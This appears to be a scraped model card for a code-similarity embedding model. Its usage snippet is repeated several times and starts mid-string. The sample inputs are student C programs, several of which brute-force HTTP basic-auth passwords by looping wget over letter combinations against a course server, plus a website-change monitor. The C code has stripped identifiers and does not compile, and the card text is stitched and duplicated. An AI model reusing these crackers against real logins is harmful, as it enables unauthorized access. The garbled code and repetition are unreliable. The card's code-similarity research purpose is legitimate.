\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
